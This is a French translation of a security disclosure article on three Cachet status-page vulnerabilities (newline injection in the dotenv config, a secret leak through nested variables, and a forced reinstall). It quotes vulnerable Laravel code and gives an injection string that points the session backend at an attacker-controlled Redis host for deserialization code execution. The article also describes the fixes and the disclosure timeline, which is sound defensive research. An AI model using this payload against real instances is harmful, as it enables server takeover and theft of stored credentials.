Les pages de statut sont désormais un service essentiel proposé par toutes les entreprises de Software-as-a-Service. Pour faciliter leur adoption, des startups ont rapidement imaginé des pages de statut en tant que service et des alternatives open-source autohostées ont été mises à disposition. Cachet, également parfois appelé CachetHQ, est un système de page de statut largement adopté écrit en PHP et possède de nombreuses branches communautaires, telles que fiveai/Cachet.
Les attaquants trouvent avantage à compromettre les instances de Cachet, car elles conservent des secrets pour divers services tels que les caches, les bases de données, les serveurs de messagerie, etc. Ce point d’entrée initial dans l’infrastructure leur permet de pivoter vers le réseau interne de l’entreprise affectée et d’effectuer d’autres attaques. Dans cet article, je présente l’analyse technique de trois bogues de sécurité que mon équipe et moi avons découverts dans Cachet 2.4. Ils peuvent permettre aux attaquants de compromettre le serveur.
Impact
L’exploitation de ces vulnérabilités a été vérifiée sur la dernière version officielle de Cachet à l’époque (2.3.18), ainsi que sur la branche de développement (2.4). Un attaquant cherchant à exploiter ces vulnérabilités a besoin d’un compte utilisateur valide avec des privilèges de base, un scénario qui peut être réalistement exploité par:
- Utiliser le remplissage de credentials grâce à la quantité considérable de comptes divulgués chaque année.
- A compromised or malicious user.
- La présence d’une vulnérabilité de type cross-site scripting sur le même périmètre.
- L’exploitation de CVE-2021-39165, une injection SQL pré-authentifiée dans Cachet corrigée en janvier 2021.
Vulnérabilité 1: CVE-2021-39172
La première vulnérabilité (CVE-2021-39172) que je décris est une injection de nouvelle ligne qui se produit lorsque les utilisateurs mettent à jour la configuration d’une instance, comme les paramètres de courrier électronique. Elle permet aux attaquants d’injecter de nouvelles directives et de modifier le comportement des fonctionnalités de base, ce qui peut entraîner l’exécution de code arbitraire.
La vidéo ci-dessous montre l’exploitation de cette vulnérabilité. À des fins de démonstration, plusieurs étapes sont effectuées manuellement, mais elles pourraient être automatisées par les attaquants:
Source: Sonar YouTube
Vulnérabilité 2: CVE-2021-39174
La deuxième (CVE-2021-39174) est également liée à cette fonctionnalité et permet à l’attaquant d’exfiltrer des secrets stockés dans le fichier de configuration, par exemple, le mot de passe du serveur SMTP, la clé de chiffrement de l’application, etc.
Vulnérabilité 3: CVE-2021-39173
Enfin, le dernier bogue (CVE-2021-39173) est beaucoup plus simple et permet de passer par le processus de configuration même si l’instance est déjà entièrement configurée. De cette façon, les attaquants peuvent tromper l’instance Cachet en utilisant une base de données arbitraire sous leur contrôle, ce qui peut finalement conduire à l’exécution de code arbitraire.
Des correctifs pour ces trois vulnérabilités sont disponibles dans la version 2.5.1 du fork FiveAI.
Détails Techniques
Dans cette section, je décris les détails techniques de chaque vulnérabilité et la manière dont elles ont été atténuées dans la dernière version du fork communautaire.
CVE-2021-39172 : Exécution de Code à Distance
Le tableau de bord de Cachet expose plusieurs vues de configuration (même aux utilisateurs non administrateurs) pour changer le nom de l’instance, les paramètres du serveur de messagerie, etc. Les paramètres persistants au niveau de l’application sont enregistrés dans la base de données, et les autres valeurs au niveau du framework sont directement enregistrées dans le fichier de configuration de l’application. Le framework Laravel utilise dotenv des fichiers de configuration, un format similaire à la manière dont vous déclareriez des variables d’environnement dans un script shell. Leur support est implémenté dans la bibliothèque tierce ici.
Lors de la modification des paramètres du fournisseur de messagerie, le contrôleur instancie un objet de la classe UpdateConfigCommand
. Les commandes Laravel, dans le contexte du bus de commandes, sont un moyen d’éliminer la logique spécifique à l’application des contrôleurs; elles seront exécutées de manière synchrone lors d’un appel à execute()
sur l’objet. Voici ce qui se passe à [1]
:
app/Http/Controllers/Dashboard/SettingsController.php
:
<?php
public function postMail()
{
$config = Binput::get('config');
execute(new UpdateConfigCommand($config)); // [1]
return cachet_redirect('dashboard.settings.mail')
->withInput(Binput::all())
->withSuccess(trans('dashboard.notifications.awesome'));
}
Le gestionnaire associé UpdateConfigCommandHandler
est chargé de réaliser des modifications dans le fichier dotenv existant en remplaçant les entrées existantes par de nouvelles.
UpdateConfigCommandHandler
peut être déclenché par du code à deux endroits différents:
SetupController@postStep3
: la dernière étape du processus de configuration. Une fois que l’instance est installée, ce chemin de code ne peut plus être atteint;SettingsController@postMail
: lors de la mise à jour des entrées dotenv liées aux serveurs de courrier électronique.
Il évalue d’abord l’intégralité du fichier de configuration pour alimenter l’environnement de processus ([1]
), identifie si la directive à mettre à jour est déjà définie ([2]
), et remplace l’entrée par sa nouvelle valeur ([3]
):
app/Bus/Handlers/Commands/System/Config/UpdateConfigCommandHandler.php
:
<?php
class UpdateConfigCommandHandler
{
// [...]
public function handle(UpdateConfigCommand $command)
{
foreach ($command->values as $setting => $value) {
$this->writeEnv($setting, $value);
}
}
// [...]
protected function writeEnv($key, $value)
{
$dir = app()->environmentPath();
$file = app()->environmentFile();
$path = "{$dir}/{$file}";
try {
(new Dotenv($dir, $file))->load(); // [1]
$envKey = strtoupper($key);
$envValue = env($envKey) ?: 'null'; // [2]
file_put_contents($path, str_replace( // [3]
"{$envKey}={$envValue}",
"{$envKey}={$value}",
file_get_contents($path)
));
} catch (InvalidPathException $e) {
throw $e;
}
}
}
Aucune validation n’est effectuée sur les données entrantes : tant que l’entrée de configuration existe déjà, elle sera remplacée par une valeur provenant du paramètre. Si un attaquant fournit une valeur contenant de nouvelles lignes, cela créera de nouvelles entrées dans le fichier dotenv et peut modifier les fonctionnalités au niveau du framework.
Note: seule la première définition d’une variable dans un fichier dotenv sera utilisée; les suivantes seront ignorées.
Dans les projets Laravel, cette primitive suffit pour obtenir une exécution de code arbitraire. La configuration initiale dotenv du fichier ressemblera probablement à ceci dans la plupart des instances:
.env
:
APP_ENV=production
[...]
DEBUGBAR_ENABLED=false
DB_DRIVER=sqlite
[...]
DB_PREFIX=
CACHE_DRIVER=file
SESSION_DRIVER=file
QUEUE_DRIVER=array
MAIL_DRIVER=smtp
MAIL_HOST=foo
[...]
REDIS_HOST=null
REDIS_DATABASE=null
REDIS_PORT=null
Les attaquants pourraient remplacer la clé CACHE_DRIVER
et enregistrer un serveur Redis sous leur contrôle en tant que nouveau backend de session :
file\nREDIS_HOST=some.remote.server\nREDIS_DATABASE=0\nREDIS_PORT=6379\nSESSION_DRIVER=redis
Après avoir envoyé une requête qui définit CACHE_DRIVER
à cette valeur, le fichier dotenv ressemblera à ceci :
.env
:
APP_ENV=production
APP_DEBUG=false
APP_URL=http://cachet.internal
APP_TIMEZONE=UTC
// [...]
CACHE_DRIVER=file
REDIS_HOST=some.remote.server
REDIS_DATABASE=0
REDIS_PORT=6379
SESSION_DRIVER=redis
SESSION_DRIVER=file
QUEUE_DRIVER=null
// [...]
Comme les sessions Laravel sont sérialisées à l’aide du format natif de PHP, elles sont analysées avec la fonction unserialize()
. Il s’agit d’une faiblesse connue qui peut être exploitée pour l’exécution de code arbitraire en utilisant une séquence d’objets spécialement conçus, un concept appelé « chaînes pop ». L’outil PHPGGC peut générer de telles chaînes pour les projets Laravel.
Il peut exister d’autres façons d’exploiter l’exécution de commandes à partir d’une injection de nouvelle ligne dans un fichier dotenv, mais nous n’avons pas poursuivi plus de recherches dans cette direction. Mon équipe et moi sommes curieux de savoir si vous connaissez d’autres techniques, cependant !
CVE-2021-39174 : Fuite de configuration
Comme je l’ai décrit dans la section précédente, on peut avoir un contrôle direct de lecture et d’écriture sur les valeurs stockées dans le fichier dotenv. L’écriture dans ce fichier conduit finalement à l’exécution de code arbitraire, mais peut-il également être exploité par le fait que les valeurs de ce fichier sont affichées dans l’interface ?
La documentation de vlucas/phpdotenv
décrit qu’elle prend en charge l’affectation de variables imbriquées : lors de la déclaration d’une variable, vous pouvez faire référence à une variable précédemment déclarée avec la syntaxe ${NAME}
.
Cette fonctionnalité est pratique : en faisant référence à une autre variable dans une entrée du fichier de configuration dotenv et en affichant cette entrée dans l’interface, elle révèle la valeur d’une autre variable.
Il est déjà largement documenté que la fuite de APP_KEY
peut conduire à l’exécution de code si le pilote de session est défini sur cookie, et cette primitive peut également être utilisée pour divulguer DB_PASSWORD
et MAIL_PASSWORD
afin d’effectuer des attaques supplémentaires.
CVE-2021-39173 : Reinstallation forcée
La page de configuration ne peut pas être consultée si l’instance est déjà installée, comme cela est mis en œuvre dans le middleware. SetupAlreadyCompleted
:
app/Http/Middleware/SetupAlreadyCompleted.php
:
settings->get('app_name')) {
return cachet_redirect('dashboard');
}
} catch (ReadException $e) {
// pas configuré alors !
}
return $next($request);
}
}
Le contrôle repose uniquement sur la valeur de la configuration : si elle n’est pas définie ou vide, le middleware considérera que l’instance est installée.
Dans le cas où vous vous demandez quoi d’autre peut être évalué comme faux, voici un bref aperçu du système de typage de PHP lors des comparaisons jusqu’à PHP 8. Les comparaisons peuvent être effectuées en utilisant un contrôle d’égalité (==) ou un contrôle d’identité (===). Les contrôles d’égalité impliquent que le type des opérandes n’est pas pris en compte, et les chaînes peuvent être converties en nombres auparavant. Ce comportement a été nommé « jonglerie de types » et a été exploité dans diverses vulnérabilités de la vie réelle (CVE-2017-1001000, CVE-2019-10231). Dans le cas de la comparaison ci-dessus, toute valeur égale à une chaîne vide ou « 0 » sera évaluée false
et donnera accès aux pages de configuration.
La valeur de app_name
n’est pas validée lors de la mise à jour des paramètres dans SettingsController@postSettings
, à [1]
:
app/Http/Controllers/Dashboard/SettingsController.php
:
<?php
class SettingsController extends Controller
{
// [...]
public function postSettings()
{
$setting = app(Repository::class);
// [...]
$parameters = Binput::all();
// [...]
$excludedParams = [
'_token',
'app_banner',
'remove_banner',
'header',
'footer',
'stylesheet',
];
try {
foreach (Binput::except($excludedParams) as $settingName =>
$settingValue) {
if ($settingName === 'app_analytics_pi_url') {
$settingValue = rtrim($settingValue, '/');
}
$setting->set($settingName, $settingValue); // <-- [1]
// [...]
Par conséquent, un utilisateur authentifié peut la mettre à jour avec une valeur évaluée à faux, puis accéder/configurer à nouveau pour réinstaller l’instance avec un nouveau compte d’administrateur (élévation des privilèges) ou exploiter notre première découverte et obtenir une exécution de code (rappelez-vous, UpdateConfigCommandHandler
peut également être exploité à partir de ce chemin de code).
Correctif
La vulnérabilité d’injection de nouvelle ligne (CVE-2021-39172) a été résolue en améliorant la validation des valeurs entrantes dans UpdateConfigCommandHandler
, rejetant toute modification contenant des caractères de nouvelle ligne.
Le bug de fuite de configuration (CVE-2021-39174) était plus complexe à corriger, car la dernière version de la bibliothèque dotenv ne pouvait pas être importée en raison des dépendances existantes. À la place, le code pertinent a été adapté pour permettre au gestionnaire de commandes de détecter si une valeur contient une variable imbriquée.
Enfin, il n’est pas possible de forcer une réinstallation des instances existantes (CVE-2021-39173) grâce à des contrôles améliorés dans le middleware touché.
Chronologie
DATE | ACTION |
2021-03-26 | Issues reported by email to the official security disclosure address of the upstream project. |
2021-06-25 | We send the security issues and patches to the community-supported fork (fiveai/Cachet). |
2021-08-27 | Release 2.5.1 of the FiveAI fork is published, with fixes for CVE-2021-39172, CVE-2021-39173, and CVE-2021-39174. |
Résumé
Dans cet article, j’ai analysé trois vulnérabilités dans Cachet et démontré la possibilité de prendre le contrôle des instances avec seulement des permissions de base d’utilisateur en utilisant les fichiers de configuration Laravel. J’ai également décrit les correctifs appliqués par les responsables et comment ils empêchent les attaques que j’ai présentées.
Enfin, mon équipe et moi tenons à remercier les responsables de la branche FiveAI de Cachet pour avoir reconnu notre avis et corrigé ces vulnérabilités de manière rapide et professionnelle.
Source:
https://dzone.com/articles/cachet-two-four-code-execution-via-laravel-configuration-injection